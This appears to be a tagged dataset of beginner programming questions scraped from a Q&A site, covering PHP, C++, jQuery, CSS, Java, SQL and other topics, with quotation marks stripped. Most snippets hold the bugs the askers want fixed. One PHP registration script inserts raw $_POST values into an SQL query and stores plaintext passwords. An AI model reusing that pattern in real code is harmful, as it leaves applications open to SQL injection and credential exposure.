.carousel-inner.&lt;%=step.id%&gt; ).append( &lt;div class= item active &gt;&lt;a class= fancybox  href= &lt;%=image.image_path_url%&gt;  rel= gallery &lt;%=step.id%&gt;  data-fancybox-type= image &gt; &lt;%=image_tag(image.image_path_url(:preview)  :width =&gt;  100%   :id=&gt; image.id)%&gt;&lt;/a&gt;&lt;/div&gt; );               }  ...       &lt;% end %&gt; </code></pre>,ruby-on-rails
clearing a div if changed  i have the following code below and it shows the <code>resp</code> but if i delete the value from the input.  is there a way that i can clear the class when the input is deleted     <strong>code:</strong>   <pre><code>{     if (resp ==   ) {     }     else {         $( .error ).text(resp);     } }  error: function (resp) {     console.log(data); } </code></pre>   <strong>invoke:</strong>   <pre><code>$(document).ready(function () {     $( .postform ).on( blur    #post_title   function (e) {          $( .postform #post_url_link ).blur();     });      function posttitlecheck() {         $( .postform #post_title ).blur();     } }); </code></pre>,jquery
the count of the uinavigationcontroller s viewcontrollers will be 0 after you call popviewcontroller  i have three uiviewcontrollers  so i use the uinavigationcontroller as the rootviewcontroller of the window. as i log the count of [navigationcontroller.viewcontrollers count] i found that the count will be 0 when you call the popviewcontrolleranimated. the weird thing is that you log the count when you back to the previous viewcontroller  the count is going to be normal  the actual count of the controller on the stack. what does the popviewcontroller do to make such a strange thing,ios
are python tuples modifiable   i m reading in and parsing some data.  basically  the data is a bunch of integers and strings  so i can t use just a list to store the data.  there s a set number of items that will be in each set of data  but sometimes some are missing.  here is what i have.   <pre><code>users = [] # list of objects i ll be creating  # this all gets looped.  snipped for brevity data =  id    gender   -1 # my main tuple that i will create my object with words = line.split() index = 0 data[0] = words[index] index += 1 if words[index] ==  m  or words[index] ==  f :     data[1] = words[index]     index += 1 else:     data[1] =  missing   if words[index].isdigit():     data[2] = words[index]     index += 1  users.append(user(data)) </code></pre>   the problem is you can t seem to be able to assign directly to tuples (such as <code>data[1] =  missing </code>)  so how should this be assigned in a pythonic manner,python
trying to implement my own vector class  keep getting  undefined reference  error  i m trying to implement my own vector class as an exercise of the book accelerated c++  but i m getting these errors and i can t figure out how to fix them:    c:\mingw\bin..\lib\gcc\mingw32\3.4.2........\include\c++\3.4.2\bits\allocator.h||undefined reference to `vec::create() |    ::~vec()]+0x43):c:\mingw\bin..\lib\gcc\mingw32\3.4.2........\include\c++\3.4.2\bits\allocator.h||undefined reference to `vec::uncreate() |    i m using code::blocks and both files are in the same project  so i m pretty sure it s not a linking issue.    here is the vec.h file   <pre><code>#ifndef vec_h #define vec_h  #include &lt;cstddef&gt; #include &lt;memory&gt;  template &lt;class t&gt; class vec{ public:     typedef t* iterator;     typedef const t* const_iterator;     typedef size_t size_type;     typedef t value_type;      vec(){         create();     }      explicit vec(size_type n  const t&amp; val = t()){         create(n val);     }      vec(const vec&amp; v){         create(v.begin()  v.end());     }      ~vec(){         uncreate();     }      size_type size() const{         return avail - data;     }      t&amp; operator[](size_type i){         return data[i];     }      const t&amp; operator[](size_type i) const{         return data[i];     }      vec&amp; operator = (const vec&amp;);      void push_back(const t&amp; t){         if(avail == limit)             grow();         unchecked_append(t);     }      iterator begin(){ return data; }     const_iterator begin() const{ return data; }      iterator end(){ return avail; }     const_iterator end() const{ return avail; }  private:     iterator data; //first element     iterator avail;//one past the last available element     iterator limit;//one past the total allocated memory      //facilities for memory allocation      std::allocator&lt;t&gt; alloc; //object to handle memory allocation      //allocate and initialize the underlying array     void create();     void create(size_type  const t&amp;);     void create(const_iterator  const_iterator);      //destroy the elements in the array and free the memory     void uncreate();      //support functions for push_back     void grow();     void unchecked_append(const t&amp;); };  #endif // vec_h </code></pre>   and the vec.cpp file   <pre><code>#include  vec.h   template &lt;class t&gt; vec&lt;t&gt;&amp; vec&lt;t&gt;::operator=(const vec&amp; rhs){     //check for self-assignment     if(&amp;rhs != this){         //free the array in the left-hand side         uncreate();          //copy elements from the right-hand to the left-hand side         create(rhs.begin()  rhs.end());     }      return *this; }  template &lt;class t&gt; void vec&lt;t&gt;::create(){     data = avail = limit = 0; }  template &lt;class t&gt; void vec&lt;t&gt;::create(size_type n  const t&amp; val){     data = alloc.allocate(n);     limit = avail = data+n;     uninitialized_fill(data  limit  val); }  template &lt;class t&gt; void vec&lt;t&gt;::create(const_iterator i  const_iterator j){     data = alloc.allocate(j-i);     limit = avail = uninitialized_copy(i  j  data); }  template &lt;class t&gt; void vec&lt;t&gt;::uncreate(){     if(data){         //destroy in reverse order the objects that were constructed         iterator it = avail;         while(it != data)             destroy(--it);          //return all the space that was allocated         alloc.deallocate(data  limit-data);     }      data = limit = avail = 0; }  template &lt;class t&gt; void vec&lt;t&gt;::grow(){     //when growing  allocate twice as much space as currently in use     size_type new_size = max(2*(limit-data)  ptrdiff_t(1));      //allocate new space and copy existing elements to the new space     iterator new_data  = alloc.allocate(new_size);     iterator new_avail = uninitialized_copy(data  avail  new_data);      //return the old space     uncreate();      //reset pointers to point to the newly allocated space     data  = new_data;     avail = new_avail;     limit = data + new_size; }  //assumes avail points to allocated  but uninitialized space template &lt;class t&gt; void vec&lt;t&gt;::unchecked_append(const t&amp; val){     alloc.construct(avail++  val); } </code></pre>   what am i doing wrong,c++
how should i handle partial forms with angularjs   i think someone must have run into this situation before. basically i have a big  form  which is composed of multiple smaller  forms  inside. (in fact  they are not real forms  just sets of inputs that are grouped together to collect info for models).    this form is for a checkout page  which contains:   <ol> <li>shipping address</li> <li>shipping method</li> <li>billing address</li> <li>billing method</li> <li>other additional info such as discounts code input  gift wrapping etc.</li> </ol>   i would like to update the user filled info to the server as soon as they complete each part (for example  when they complete shipping address). however  i want to make it work seamlessly without the need for the users to click some kind of  update  button after filling each partial part. i wonder if there is some way to go around this,angularjs
why do people write html like this   i ve noticed a lot of people who don t use quotation marks when they write html. for example:   <pre><code>&lt;li class=somename&gt;blabla&lt;/li&gt; instead of &lt;li class= somename &gt;dkdk&lt;/li&gt; </code></pre>   where are they getting this from,html
how can i create cookies in asp.net without setting expiry time   i want to create cookie without setting expiry time.,asp.net
cannot resolve serializedname  i made a bean class but when i run it this is giving errors. i don t know how can i fix it. please help me.   <pre><code> error:(7  8) error: cannot find symbol class serializednameerror:execution failed for task  :app:compiledebugjavawithjavac . </code></pre>   this is build.gradle:    <pre><code> apply plugin:  com.android.application android { compilesdkversion 23 buildtoolsversion  23.0.2   defaultconfig {     applicationid  com.example.administrator.myappliction      minsdkversion 15     targetsdkversion 23     versioncode 1     versionname  1.0      multidexenabled true } buildtypes {     release {         minifyenabled false         proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.pro      } }}   dependencies { compile filetree(dir:  libs   include: [ *.jar ]) testcompile  junit:junit:4.12  compile  com.android.support:appcompat-v7:23.1.1  compile  org.jbundle.util.osgi.wrapped:org.jbundle.util.osgi.wrapped.org.apache.http.client:4.1.2  compile  com.android.support:design:23.1.1  compile files( libs/gson_1.7.jar ) compile files( libs/gson-2.2.4.jar ) compile  com.google.android.gms:play-services:8.3.0 } </code></pre>,android
how can i increment this number each time the page is accessed   in this example  the first invoice number should be 2015-001; this works fine but now i want to increase it every time the page is accessed.   <pre><code>$datum = date( y ); $teken =  - ; $num = 1;   echo $datum  $teken; printf( %03d   $num); </code></pre>,php
smtp email not sent in one server  but sent in another server  i have a section of code that sends email from smtp server.    the code is carried out webservice &amp; smtp server value is picked up from web.config  while the code hosted on server1 works (send/receive emails)  whereas the same code hosted in server2 doesn t send/receive email.    can you tell your thoughts     thanks,asp.net
parameter error in mysql query used in php  when i am running the script it is showing this error message:     warning: mysql_query() expects parameter 2 to be resource  object given in c:\wamp64\www\vehicleworkshop\registration.php on line 182    <strong>please help me correcting this error.</strong>   <pre><code>    &lt; php session_start(); $ctins=null; include( header.php ); include( sidebar.php );  &gt;  &lt;script type= text/javascript &gt; function isnumberkey(evt)       {           var charcode = (evt.which)   evt.which : event.keycode         //alert(charcode);          if (charcode &gt; 63 &amp;&amp; charcode &lt; 92 )          {                        return true;      }      else if (charcode &gt; 96 &amp;&amp; charcode &lt; 123 )          {          return true;      }      else      {                              alert( should be alphabet );         return false;      }      } function validate()  { if(document.form1.fname.value==  ) {     alert( enter first name );     document.form1.fname.focus();     return false; } if(document.form1.lname.value==  ) {     alert( enter last name );     document.form1.lname.focus();     return false; } if(document.form1.emailid.value==  ) {     alert( enter email id );     document.form1.emailid.focus();     return false; }     ml = document.form1.emailid.value;         pos1 = ml.indexof( @ )         pos = ml.indexof(   )         pos2 = (pos1+1)         server = ml.substring(pos2);         server_pos = server.lastindexof( . )         reqtype = server.substring(server_pos+1)         type_end = reqtype.substring(reqtype.length-1)  if(ml.length&lt;8)     {             document.form1.emailid.focus();             document.form1.emailid.select();             alert( emailid length cannot be less than 8 characters );             return false;       }          if(ml.indexof( @ )==-1)         {             document.form1.emailid.focus();             document.form1.emailid.select();             alert( the emailid address must contain  @  sign );             return false;           }          if(pos1&lt;1)         {             document.form1.emailid.focus();             document.form1.emailid.select();             alert( emailid address cannot start with  @  sign );             return false;           }           if(ml.indexof( . )==-1)         {             document.form1.emailid.focus();             document.form1.emailid.select();             alert( the emailid address must contain  .  sign );             return false;           }         if(pos!=-1)         {             document.form1.emailid.focus();             document.form1.emailid.select();             alert( the emailid address cannot contain spaces );             return false;           }         if(server.indexof( @ )!=-1)         {             document.form1.emailid.focus();             document.form1.emailid.select();             alert( a valid emailid must contain only one  @  sign );             return false;           }          if(server.indexof( . )==0)         {             document.form1.emailid.focus();             document.form1.emailid.select();             alert( there should some text between  @  and  .  sign );             return false;           }          if(reqtype==  )         {               document.form1.emailid.focus();             document.form1.emailid.select();             alert( emailid id should end with character(like .com .net .org) );             return false;           }         if(type_end.touppercase()&lt; a  || type_end.touppercase()&gt; z )         {             document.form1.emailid.focus();             document.form1.emailid.select();             alert( emailid id should not end with number or symbol );             return false;           }    if(document.form1.password.value==  ) {     alert( enter password );     document.form1.password.focus();     return false; } if(document.form1.confpass.value==  ) {     alert( please confirm the password );     document.form1.confpass.focus();     return false; } if(document.form1.address.value==  ) {     alert( enter the address );     document.form1.address.focus();     return false; } if(document.form1.city.value==  ) {     alert( enter the city );     document.form1.city.focus();     return false; } if(document.form1.zip.value==  ) {     alert( enter the zip );     document.form1.zip.focus();     return false; } if(document.form1.phone.value==  ) {     alert( enter phone no );     document.form1.phone.focus();     return false; } if(document.form1.mobile.value==  ) {     alert( enter mobile number );     document.form1.mobile.focus();     return false; } } &lt;/script&gt; &lt; php include( dbconnection.php );         if(isset($_session[ empid ]))     {         header( location: empaccount.php );     } if(isset($_session[ custid ])) {     header( location: account.php ); } $dt= date( y-m-d ); if(isset($_post[ submit ])) { $sql = insert into customer(fname lname emailid  password createddate contactno1 contactno2 address city zipcode) values( $_post[fname]   $_post[lname]   $_post[email]   $_post[password]   $dt   $_post[phone]   $_post[mobile]   $_post[address]   $_post[city]   $_post[zipcode] ) ;  if (!mysql_query($sql $con))   {   die( error:   . mysql_error());   } $ctins =  mysql_affected_rows(); }  &gt;           &lt;div id= main &gt;                           &lt;a name= templateinfo &gt;&lt;/a&gt;             &lt;h1&gt;customer registration&lt;/h1&gt;  &lt; php if($ctins == 1) {     echo  &lt;center&gt;&lt;b&gt;custmer registered successfully...&lt;/b&gt;&lt;/center&gt;&lt;br&gt; ;     echo  &lt;center&gt;&lt;b&gt;&lt;a href= login.php &gt;click here to login.&lt;/a&gt;&lt;/b&gt;&lt;/center&gt; ; } else {      &gt;         &lt;form id= form1  name= form1  method= post  action=   onsubmit= return validate() &gt;                  &lt;table width= 522  border= 0 &gt;               &lt;tr bgcolor= #ccffff &gt;                 &lt;th height= 33  scope= row  align= left &gt;user information:&lt;/th&gt;                 &lt;td&gt;&amp;nbsp;&lt;/td&gt;               &lt;/tr&gt;               &lt;tr&gt;                 &lt;th width= 170  height= 33  scope= row &gt;first name&lt;/th&gt;                 &lt;td width= 247 &gt;                   &lt;label for= lname &gt;&lt;/label&gt;                   &lt;input name= fname  type= text  id= fname  size= 35    onkeypress= return isnumberkey(event) /&gt;                 &lt;/td&gt;               &lt;/tr&gt;               &lt;tr&gt;                 &lt;th height= 37  scope= row &gt;last name                   &lt;label for= lname &gt;&lt;/label&gt;&lt;/th&gt;                 &lt;td&gt;&lt;input name= lname  type= text  id= lname  size= 35   onkeypress= return isnumberkey(event)  /&gt;&lt;/td&gt;               &lt;/tr&gt;               &lt;tr&gt;                 &lt;th height= 36  scope= row &gt;email id&lt;/th&gt;                 &lt;td&gt;&lt;label for= email &gt;&lt;/label&gt;                 &lt;input name= email  type= text  id= email  size= 35  /&gt;&lt;/td&gt;               &lt;/tr&gt;               &lt;tr&gt;                 &lt;th height= 34  scope= row &gt;password&lt;/th&gt;                 &lt;td&gt;&lt;label for= password &gt;&lt;/label&gt;                 &lt;input name= password  type= password  id= password  size= 35  /&gt;&lt;/td&gt;               &lt;/tr&gt;               &lt;tr&gt;                 &lt;th height= 40  scope= row &gt;confirm password&lt;/th&gt;                 &lt;td&gt;&lt;label for= confpass &gt;&lt;/label&gt;                 &lt;input name= confpass  type= password  id= confpass  size= 35  /&gt;&lt;/td&gt;               &lt;/tr&gt;               &lt;tr align= left  bgcolor= #ccffff &gt;                 &lt;th height= 29  colspan= 2  scope= row &gt;&lt;u&gt;contact information&lt;/u&gt;&lt;/th&gt;               &lt;/tr&gt;               &lt;tr&gt;                 &lt;th height= 37  scope= row &gt;address&lt;/th&gt;                 &lt;td&gt;&lt;textarea name= address  cols= 35  id= address &gt;&lt;/textarea&gt;&lt;/td&gt;               &lt;/tr&gt;               &lt;tr&gt;                 &lt;th height= 37  scope= row &gt;city&lt;/th&gt;                 &lt;td&gt;&lt;input name= city  type= text  id= city  size= 35  /&gt;&lt;/td&gt;               &lt;/tr&gt;               &lt;tr&gt;                 &lt;th height= 37  scope= row &gt;zip code&lt;/th&gt;                 &lt;td&gt;&lt;input name= zipcode  type= text  id= zipcode  size= 35   onkeypress= if (event.keycode &lt; 45 || event.keycode &gt; 57) event.returnvalue = false; /&gt;&lt;/td&gt;               &lt;/tr&gt;               &lt;tr&gt;                 &lt;th height= 37  scope= row &gt;phone no&lt;/th&gt;                 &lt;td&gt;&lt;label for= date &gt;&lt;/label&gt;                 &lt;input name= phone  type= text  id= phone  size= 35   onkeypress= if (event.keycode &lt; 45 || event.keycode &gt; 57) event.returnvalue = false; /&gt;&lt;/td&gt;               &lt;/tr&gt;               &lt;tr&gt;                 &lt;th scope= row &gt;mobile no&lt;/th&gt;                 &lt;td&gt;&lt;label for= mobile &gt;&lt;/label&gt;                 &lt;input name= mobile  type= text  id= mobile  size= 35   onkeypress= if (event.keycode &lt; 45 || event.keycode &gt; 57) event.returnvalue = false; /&gt;&lt;/td&gt;               &lt;/tr&gt;               &lt;tr&gt;                 &lt;th scope= row &gt;&amp;nbsp;&lt;/th&gt;                 &lt;td&gt;&lt;br /&gt;                &lt;input type= submit  name= submit  id= submit  value= register  /&gt;&lt;/td&gt;               &lt;/tr&gt;           &lt;/table&gt;         &lt;/form&gt;       &lt; php }  &gt;             &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;br /&gt;                            &lt;/div&gt;            &lt;!-- wrap ends here --&gt; &lt;/div&gt;  &lt; php include( footer.php );  &gt; </code></pre>,php
joining two tables and getting aggregate data  how do i write a query that returns aggregate sales data for california in the past x months.    <pre><code> -----------------------        ----------------------- |         order         |      |       customer        | |-----------------------|      |-----------------------| | orderid       int     |      | customerid     int    | | customerid    int     |      | state         varchar | | deposit       decimal |       ----------------------- | orderdate     date    |     -----------------------                      -----------------------                   |      orderitem        |                  |-----------------------|                  | orderid      int      |                  | itemid       int      |                  | qty          int      |                  | linetotal    decimal  |                  | itemprice    decimal  |                   -----------------------  </code></pre>,sql
matrix of lists  i have two structures    <pre><code>struct edge{         int v1;     int v2;         int weigt;      edge(int v1_tmp  int v2_tmp  int weight_tmp); };  struct graphlist{         int v;     int e;     list&lt;edge&gt;* mylist; }  graphlist::graphlist(grafmatrix* graph){     v=graph-&gt;v;     e=graph-&gt;e;      for (int i=0; i&lt;v; i++){         for (int j=0; j&lt;v; j++){             if (graph-&gt;matrix[i][j]==1) mylist[i].push_back( edge(i+1  j+1  graf-&gt;weights[i][j]) );         }     } } </code></pre>   what s wrong  when <code>i=0</code> and <code>j=1</code>  there s an  error. i tried <code>lista = new list&lt;krawedz&gt;()</code> but it doesn t work. any ideas,c++
$_files[ uploaded_img ][ type ] vs getimagesize()  i want check uploading file type  tell please where way is reliable for this  in where case obtain i more exactly info about file type  in this:   <pre><code>$_files[ uploaded_file ][ type ] </code></pre>   or in this:   <pre><code>$imgtype = getimagesize($_files[ uploaded_file ][ tmp_name ]); $imgtype[ mime ]; </code></pre>,php
having trouble assigning the correct values to struct in c  i am trying to read information off of a text file and use the info to assign values to my struct variables. my text file is as follows:     <pre><code>a 2 b c   b 1 d null   c 0 null null   d 0 null null </code></pre>   my source code is as follows:     <pre><code>#include &lt;unistd.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt;  struct tree_node {     char *node_name;         int children_no;     char *child_name1;     char *child_name2; };  struct tree_node nodes[4];  int main() {     char nodename[10];     int nochildren;     char childnames1[10];     char childnames2[10];            int i = 0;      file *f = fopen( inputfile.txt    r );     if(f == null)     {         fprintf(stderr   can t open input file.\n );         exit(1);     }     while (fscanf(f   %s %d %s %s   nodename  &amp;nochildren  childnames1 childnames2) != eof)     {         nodes[i].node_name = nodename;         nodes[i].children_no = nochildren;         nodes[i].child_name1 = childnames1;         nodes[i].child_name2 = childnames2;         printf( node name = %s; number of children = %d; child 1 = %s; child 2 = %s\n   nodes[i].node_name  nodes[i].children_no  nodes[i].child_name1  nodes[i].child_name2);         i = i+1;     }      printf( inncorect print:\n );     for(int j = 0; j&lt;4; j=j+1)     {         printf( node name = %s; number of children = %d; child 1 = %s; child 2 = %s\n   nodes[j].node_name  nodes[j].children_no  nodes[j].child_name1  nodes[j].child_name2);      } } </code></pre>   the printf inside the while loop prints correctly  but when i try to print outside the while loop in the for loop below  it seems all 4 elements of my struct array are the last input from the text file. the console output is as follows:     <pre><code>node name = a; number of children = 2; child 1 = b; child 2 = c node name = b; number of children = 1; child 1 = d; child 2 = null node name = c; number of children = 0; child 1 = null; child 2 = null node name = d; number of children = 0; child 1 = null; child 2 = null inncorect print: node name = d; number of children = 2; child 1 = null; child 2 = null node name = d; number of children = 1; child 1 = null; child 2 = null node name = d; number of children = 0; child 1 = null; child 2 = null node name = d; number of children = 0; child 1 = null; child 2 = null </code></pre>   any help at all on why this is happening would be greatly appreciated  as i have been stuck with this for a while now. apologies in advance if my question format is wrong  this is my first time posting here. thanks in advance!,c
definining $message=   variable  this code all works fine except for i get an undefined variable warning  message  and i cant figure out a way to define it as it is not a post or session variable or anything that. thanks    <pre><code>&lt; php  if (isset($_post[ submit ])) {   $newemail = $_post[ newemail ];   $repeatnewemail = $_post[ repeatnewemail ];   $email= ($_session[ email ]);   $message=  ;   //open database    if (condition)   {     $message= first message ;   } }   &gt;  &lt;p td class= td2 &gt;&lt; php echo $message; &gt;&lt;/td&gt; </code></pre>,php
"z-index doesn t work with ::after/::before element   z-index doesn t work with its <code>::before</code>/<code>::after</code> element. here i m sharing code below.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.or {
   border: 2px solid #8fc300;
   border-radius: 5px;
   color: #333;
   font-size: 17px;
   font-weight: 600;
   height: 34px;
   line-height: 26px;
   text-align: center;
   width: 34px;
   margin-top: 64px;
   margin-left: 20px;
   margin-right: 20px;
   background: #fff;
   /*for z-index - keep the green area on top*/
   position: relative;
   z-index: 11;
 }
 .or::after {
   background: red;
   content:   ;
   display: block;
   height: 116px;
   margin-left: 15px;
   margin-top: -68px;
   width: 4px;
   /*for z-index - keep the green area on top*/
   position: relative;
   z-index: 9;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= or &gt;&lt;/div&gt;</code></pre>
 </div>
 </div>",css
a value of type cannot be assigned to an entity of type  i have a header file in c++ with a namespace and a class in it    <pre><code>namespace imaging{    class image     {                                        // to index individual channels     protected:         component * buffer;                          // holds the image data  image(unsigned int width  unsigned int height  const component * data_ptr  bool interleaved=false);     }   } </code></pre>   when i try to implement the constructor i get an error a value of type cannot be assigned to an entity of type.   <pre><code>#include image.h namespace imaging  { image::image(unsigned int width  unsigned int height  const component * data_ptr  bool interleaved=false)     {         this-&gt;height=height;         this-&gt;width=width;         buffer=data_ptr;  // the error is here!!     } } </code></pre>,c++
sort and reverse method not working properly in javascript  i am trying this:-   <pre><code>[231  907  1246  1203  1305  484  709  1220  616  1200].sort(); </code></pre>   and output is this:-   <pre><code>[1200  1203  1220  1246  1305  231  484  616  709  907] </code></pre>   where typeof of arrays first element i checked is number.    any idea why its not working,javascript
how do i run this java program from the command line of my windows computer   its on my desktop  if you could tell me step by step how i can run this program. i know javac compiles the program.           <pre><code>public class simpleprogram {     public static void main(string[] args){         system.out.println( a proverb );         string proverb  =  practice makes perfect! ;         system.out.println( proverb );         int charactercount = proverb.length();         syetem.out.println( the proverb has  +charactercount +  characters );     } } </code></pre>,java
a element click and document click hierarchy  if i run the following code i get  as expected  1  because the a element is inside the div element.    html:   <pre><code>&lt;div class= .holder &gt;   &lt;a href= #  class= .link &gt;a&lt;/a&gt; &lt;/div&gt; </code></pre>   jquery:   <pre><code>$(document).click(function (e) {   alert($(e.target).closest( .holder ).length); }); </code></pre>   now  the inside a element needs to repopulate the div element  including the a element itself  so:   <pre><code>$( .link ).on( click   function (e) {   e.preventdefault();   $( .holder ).html( some html ); }); </code></pre>   the problem is: because the document click occurs after the a element click (makes sense  hierarchy)  if i click the a element  i get 0 instead of 1  because the a element parent doesn t exist anymore  and the a element itself only exists in memory.    is there a way to solve this without check for the a element click itself,jquery
css :not() not working  i want to select all elements within a div with the class .test and i do that succesfully like this   <pre><code>.test * {} </code></pre>   that selects absolutely all children of the .test element  althought don t want to select children with class .nope or any children of .nope  i tried the following but it doesn t work. it actually deselected all children.   <pre><code>.test *:not( .nope )  &lt;div class= test &gt;    &lt;div&gt;&lt;/div&gt;    &lt;div&gt;&lt;/div&gt;    &lt;div class= nope &gt;       &lt;div&gt;&lt;/div&gt;    &lt;/div&gt; &lt;/div&gt; </code></pre>,css
passing args and stdin from main to a class  can someone give me an example  based on what i have  on how to pass the command line args or stdin from main to the class named drawongrid  i am having a hard time understanding it. basically i need to use  g.drawstring (argone  10  10);  instead of drawoval or drawline. i have enclosed my code.   <pre><code>import java.awt.*; import javax.swing.*; import java.util.*;  public class tictactoe extends jframe {  //construct a figurepanel public tictactoe() {      container randomtictactoepanel = getcontentpane();     randomtictactoepanel.setlayout(new gridlayout(3  3));       for (int i = 0; i &lt; 9; i++) {         randomtictactoepanel.add(new drawongrid());     } }  //main method public static void main(string[] args) {      string argone;     string argtwo;      scanner in = new scanner(system.in);      int length = args.length;     if (length &lt;= 0) {         system.out.println( please enter player one s symbol:  );         argone = in.nextline();         system.out.println( please enter player two s symbol:  );         argtwo = in.nextline();         in.close();     }      tictactoe tframe = new tictactoe();     tframe.settitle( tic tac toe panel: random entries );     tframe.setsize(350  350);     tframe.setresizable(true);     tframe.setlocationrelativeto(null);     tframe.setvisible(true);     tframe.setdefaultcloseoperation(jframe.exit_on_close); }  class drawongrid extends jpanel {      //overide the paintcomponent     @override     protected void paintcomponent(graphics g) {         super.paintcomponent(g);          int random = (int) (math.random() * 3);          for (int i = 0; i &lt; 3; i++) {             for (int j = 0; j &lt; 3; j++) {                  if (random == 0) {                     system.out.print(   );                 } else if (random == 1) {                     g.drawoval(10  10  getwidth() - 20  getheight() - 20);                 } else if (random == 2) {                     g.drawline(10  10  getwidth() - 10  getheight() - 10);                     g.drawline(getwidth() - 10  10  10  getheight() - 10);                  }             }          }     } } } </code></pre>   i would really appreciate it. thank you.,java
mysql altering table field type  i want to change my sql table field type to fulltext. because match function not working. is there any possibilities of data loss to altering the table field,mysql
"how to create 2d array in javascript (dynamic)  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var array1 = [ james   bob ];
 var array2 = [ name   age ];</code></pre>
 </div>
 </div>
     i had created let us say two arrays array1 and array2. what i m doing is now for every element in array1 i want a new array of length 5 for that. for example for  james  i want an array of length 5 and for  bob  i want array if length 5 only. also array1 is dynamic  not static. how to achieve that",javascript
local html file to generate a text file  i am trying to generate a text/xml file from a <strong>local html</strong> file. i know there are a lot of answers to generating a file locally  usually suggesting using activex object or html 5.  i m guessing there is a way to make it work on all browsers (in the end html extension is opened by a browser even if it is a local file) and easily since this is a local file put in by user himself.    my html file will be on client s local machine not accessed via http. it is basically just a form written in html that upon  save  command should be generating an xml file in the local disk (anywhere user decides) and saving form s content in.    any good way,html
how accurate is the reading for gps in iphone s sdk   using iphone s sdk gps api  how accurate can i get  is it within a few meters or kilometers  i m interested in the accuracy when it is indoor. <strong>my software will only be used in door.</strong>,iphone
can i build this special rounding function with standard library components   is there  in c++ standard library  a way to obtain a <code>func</code> function with this behaviour :   <ul> <li>takes a double <code>num</code> as input;</li> <li>returns the highest integer <strong>strictly</strong> inferior to  <code>num</code>.</li> </ul>   i emphasize <em>strictly</em>  because if we read ‘inferior or equal’ then of course the <code>ceil</code> function will do the job.    what i want is : <code>func(3.1)</code> equals 3  <code>func(3.9)</code> equals 3  but most importantly <code>func(4)</code> equals 3 as well  and not 4. any good idea for implementation,c++
js code to check a date  highlight the element containing that date if it meets condition  i am learning js. i am looking for a relatively simple script that would check a date within an element that is formatted as html text and always in the arrangement mm/dd eg today s date is 01/12. there are multiple elements like this on the page  all have a different date:all are in this format:   <pre><code>&lt;td width= 91  valign= middle  class= sem-date &gt;&lt;p align= center &gt;03/27&lt;/p&gt;&lt;/td&gt; </code></pre>   the script should:    1.read all elements on page when page opens that contain .sem-date.    2.set up a condition  where <strong>if today s date is the date in the element  or 5 days previous</strong>  set to true. otherwise set to false.      3.if true than highlight element by inserting  into the element. if false do nothing.    so  if true the above element would be changed to:   <pre><code>&lt;td width= 91  valign= middle  class= sem-date  style= background-color: #ffff00 &gt;&lt;p align= center &gt;03/27&lt;/p&gt;&lt;/td&gt; </code></pre>   i was wondering if anyone had small script to accomplish this or could assist me in getting started.,javascript
make an image display over a html form  i have this html form (in a table)   <pre><code>&lt;style type= text/css &gt; form {     text-align:center;     background:url(padlock_closed.png) no-repeat; } &lt;/style&gt;  &lt;form&gt; &lt;table width= 600  border= 0  align= center  cellpadding= 5  cellspacing= 5 &gt;   &lt;tr&gt;     &lt;td width= 199 &gt;&lt;strong&gt;forename&lt;/strong&gt;&lt;/td&gt;     &lt;td width= 366 &gt;&lt;input type= text  name= forename  size= 50  /&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;&lt;strong&gt;surname&lt;/strong&gt;&lt;/td&gt;     &lt;td&gt;&lt;input type= text  name= surname  size= 50  /&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;&lt;strong&gt;email&lt;/strong&gt;&lt;/td&gt;     &lt;td&gt;&lt;input type= text  name= email  size= 50  /&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; &lt;/form&gt; </code></pre>   it currently has an image background but i want it to look like its displaying in front of the form rather than behind and make the image centre too     whats the best way of doing this,html
how exactly do i use a class that has a delegate in it  essentially what i m asking is  what is a delegate  but also how exactly do i use one      what is the flow of logic with delegates  i need things to be explained well and so for my many many google searches and searches on this site have revealed what they re for  but not really how to use them.    i have a class that has a delegate in  and a function you can call asks for a delegate as an argument. what am i supposed to do  construct a duplicate delegate in my class  pass it through and then they re linked  some really basic explanation for dumb people would be much appreciated!    thank you!,objective-c
cannot reinstall microsoft .net framework 4.5 or 4.51  i am using windows 8 and i uninstalled microsoft frameworks 4.5 and 4.51 because a blog suggested reinstalling these if i had issues debugging in visual studio.  i uninstalled them in the control panel in the programs and features section.  i downloaded the web install frameworks for both from microsoft s site  but when i run them  i get a message that says  the .net framework 4.5 and this update are already installed on your computer .    i tried a .net cleanup utility  but it says  error cannot remove product  .net framework 4.5  because it is not allowed on the current os     i uninstalled the following from the control panel:   <ul> <li>microsoft .net framework 4.5 multi-targeting pack </li> <li>microsoft .net framework 4.5 sdk </li> <li>microsoft .net framework 4.51 multi-targeting pack</li> <li>microsoft .net framework 4.51 multi-targeting pack (enu) </li> <li>microsoft .net framework 4.51 sdk</li> </ul>   i am not sure how to re-install the .net frameworks or if there is another place i need to go to remove .net framework 4.5 completely before reinstalling it.    any suggestions would be appreciated. thanks,.net
pass data and link attribute to new div  this is part 2 to my previous question..  here is the markup:    html   <pre><code>&lt;a data-message= my message  href= www.site.com &gt;click here&lt;/a&gt;  &lt;div class= new-window &gt;     &lt;p&gt;(my message)&lt;/p&gt;     &lt;a href= link-goes-here &gt;proceed&lt;/a&gt; &lt;/div&gt; </code></pre>   js   <pre><code>$( a[data-message] ).click(function(){     $( .new-window ).fadein(300);     $( .new-window p ).text($(this).data( message ));     return false; }); </code></pre>   since there are a few links on the page  and i want a custom div window (as opposed to a standard alert) to show with a message and url passed to new-window.  is there a way to pass the selected link s url to the new window     thanks,jquery
